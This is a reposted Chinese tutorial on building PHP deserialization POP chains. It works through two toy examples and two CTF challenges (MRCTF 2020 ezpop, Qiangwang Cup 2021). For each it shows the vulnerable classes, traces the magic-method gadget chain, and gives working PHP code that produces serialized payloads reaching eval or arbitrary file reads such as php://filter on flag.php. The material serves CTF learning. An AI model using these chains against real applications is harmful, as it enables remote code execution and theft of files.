轉載自:https://arsenetang.github.io/2021/08/17/反序列化篇之pop鏈的構造(下)/
php反序列化詳解參考:https://www.cnblogs.com/pursue-security/p/15291087.html
php反序列化之魔法函數詳解:https://www.cnblogs.com/pursue-security/p/15291121.html
本文主要是通過一些實例來學習pop鏈的構造
實例一
一般來說,出現php反序列化漏洞是因為有寫的不安全的魔術方法,因為魔術方法會自動調用,那我們就可以構造惡意的exp來觸發它,但有的時候如果出現漏洞的代碼不在魔術方法中,而是只在一個普通方法中,那我們怎么利用呢?這時候我們可以尋找魔術方法中是否調用了同名的函數,然后通過相同的函數名將類的屬性和魔術方法中的屬性聯系起來
<?php highlight_file(__FILE__); class test { protected $ClassObj; function __construct() { $this->ClassObj = new normal(); } function __destruct() { $this->ClassObj->action(); } } class normal { function action() { echo "HelloWorld"; } } class evil { private $data; function action() { eval($this->data); } } unserialize($_GET['a']); ?>
比如說上面這個例子,危險函數應該是evil
類中的action
方法,里面有個eval
,但action
方法並不是魔術方法,一般情況下我們是很難調用它的,但我們看到test
類中的__destruct()
調用了action
方法,但在__construct()
中可以看出它創建了一個normal
類的對象,然后調用的是normal
類中的action
方法;這個就很好辦,我們把魔術方法中的屬性改一下,改成創建一個evil
類的對象,那它自然調用的就是evil
類中的action
方法了,有了思路下面就來構造:
<?php class test { protected $ClassObj; } class evil { private $data='phpinfo();'; } $a = new evil(); $b = new test(); $b -> ClassObj = $a; echo serialize(urlencode($a)); ?>
本來構造出來應該是這樣,創建一個evil
類的對象然后把它賦值給ClassObj
屬性,但這里這樣寫不行,因為ClassObj
屬性是protected
屬性,不能在類外面訪問它,所以說我們得在test
類里面寫一個__construct()
來完成這個操作:
<?php class test { protected $ClassObj; function __construct() { $this->ClassObj = new evil(); } } class evil { private $data='phpinfo();'; } $a = new test(); echo urlencode(serialize($a)); ?>
例題二
<?php highlight_file(__FILE__); class Hello { public $source; public $str; public function __construct($name) { $this->str=$name; } public function __destruct() { $this->source=$this->str; echo $this->source; } } class Show { public $source; public $str; public function __toString() { $content = $this->str['str']->source; return $content; } } class Uwant { public $params; public function __construct(){ $this->params='phpinfo();'; } public function __get($key){ return $this->getshell($this->params); } public function getshell($value) { eval($this->params); } } $a = $_GET['a']; unserialize($a); ?>
思路分析:先找鏈子的頭和尾,頭部明顯是GET傳參,尾部是Uwant
類中的getshell
,然后往上倒推,Uwant
類中的__get()
中調用了getshell
,Show
類中的toString
調用了__get()
,然后Hello
類中的__destruct()
,而我們GET傳參之后會先進入__destruct()
,這樣子頭和尾就連上了,所以說完整的鏈子就是:
頭 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
至於魔術方法具體是怎么調用的這就不講了,請看上一篇文章,這兒就簡單提一下,在Hello
類中我們要把$this->str
賦值成對象,下面echo
出來才能調用Show
類中的__toString()
,然后再把Show
類中的$this->str['str']
賦值成對象,來調用Uwant
類中的__get()
<?php class Hello { public $source; public $str; } class Show { public $source; public $str; } class Uwant { public $params='phpinfo();'; } $a = new Hello(); $b = new Show(); $c = new Uwant(); $a -> str = $b; $b -> str['str'] = $c; echo urlencode(serialize($a));
例題三——2020 mrctf ezpop
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
思路分析:仍然是先找鏈子的頭和尾,頭部依然是一個GET傳參,而尾部在Modifier
類中的append()
方法中,因為里面有個include
可以完成任意文件包含,那我們很容易就可以想到用偽協議來讀文件,綜合上面的提示,應該flag就是在flag.php中,我們把它讀出來就好;找到尾部之后往前倒推,在Modifier
類中的__invoke()
調用了append()
,然后在Test
類中的__get()
返回的是$function()
,可以調用__invoke()
,再往前Show
類中的__toString()
可以調用__get()
,然后在Show
類中的__wakeup()
中有一個正則匹配,可以調用__toString()
,然后當我們傳入字符串,反序列化之后最先進入的就是__wakeup()
,這樣子頭和尾就連上了,如下圖(來自LTLT):
頭 -> Show::__wakeup() -> Show::__toString() -> Test::__get() -> Modifier::__invoke() -> Modifier::append -> 尾
<?php class Modifier { protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php'; } class Show{ public $source; public $str; } class Test{ public $p; } $a = new Show(); $b = new Show(); $c = new Test(); $d = new Modifier(); $a -> source = $b; $b -> str = $c; $c -> p = $d; echo urlencode(serialize($a)); ?>
然后base64解碼
例題四——2021 強網杯 賭徒
<meta charset="utf-8"> <?php //hint is in hint.php error_reporting(1); class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; public function __construct(){ echo "I think you need /etc/hint . Before this you need to see the source code"; } public function _sayhello(){ echo $this->name; return 'ok'; } public function __wakeup(){ echo "hi"; $this->_sayhello(); } public function __get($cc){ echo "give you flag : ".$this->flag; return ; } } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } public function __toString(){ return $this->file['filename']->ffiillee['ffiilleennaammee']; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; public function __get($name){ $function = $this->a; return $function(); } public function Get_hint($file){ $hint=base64_encode(file_get_contents($file)); echo $hint; return ; } public function __invoke(){ $content = $this->Get_hint($this->filename); echo $content; } } if(isset($_GET['hello'])){ unserialize($_GET['hello']); }else{ $hi = new Start(); } ?>
分析:首先依然是找到頭和尾,頭部依然是一個GET傳參,而尾部可以看到Room
類中有個Get_hint()
方法,里面有一個file_get_contents
,可以實現任意文件讀取,我們就可以利用這個讀取flag文件了,然后就是往前倒推,Room
類中__invoke()
方法調用了Get_hint()
,然后Room
類的__get()
里面有個return $function()
可以調用__invoke()
,再往前看,Info
類中的__toString()
中有Room
類中不存在的屬性,所以可以調用__get()
,然后Start
類中有個_sayhello()
可以調用__toString()
,然后在Start
類中__wakeup()
方法中直接調用了_sayhello()
,而我們知道的是,輸入字符串之后就會先進入__wakeup()
,這樣頭和尾就連上了
有了思路我們就直接開始構造,一般找思路我們是從尾到頭,而構造則是直接從頭到尾
頭 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
<?php class Start { public $name='guest'; public $flag='syst3m("cat 127.0.0.1/etc/hint");'; } class Info { private $phonenumber=123123; public $promise='I do'; public function __construct(){ $this->promise='I will not !!!!'; return $this->promise; } } class Room { public $filename='/flag'; public $sth_to_set; public $a=''; } $a = new Start(); $b = new Info(); $c = new Room(); $d = new Room(); $a -> name = $b; $b -> file['filename'] = $c; $c -> a = $d; echo urlencode(serialize($a)); ?>
成功打通,注意要把前面的hi
去掉再進行base64編碼才能得到flag。